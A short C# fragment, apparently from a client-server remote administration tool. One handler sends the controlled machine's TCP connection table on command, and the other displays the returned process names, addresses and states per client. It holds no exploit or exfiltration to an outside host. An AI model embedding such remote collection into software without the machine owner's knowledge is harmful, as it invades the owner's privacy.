public static void Handle(object[] data) { ConnectionsCommand command = (ConnectionsCommand)data[1]; if (command == ConnectionsCommand.GetTable) { SendTcpTable(); } }
public static void Handle(IClient client, object[] data) { ConnectionsCommand command = (ConnectionsCommand)data[1]; if (command == ConnectionsCommand.Table) { if (FormHandler.ContainsKey(client.ID)) { string[] names = (string[])data[2]; string[] localAddr = (string[])data[3]; string[] remoteAddr = (string[])data[4]; byte[] states = (byte[])data[5]; for (int i = 0; i < names.Length; i++) { FormHandler[client.ID].AddConnection(names[i], localAddr[i], remoteAddr[i], ((ConnectionStates)states[i]).ToString()); } } } }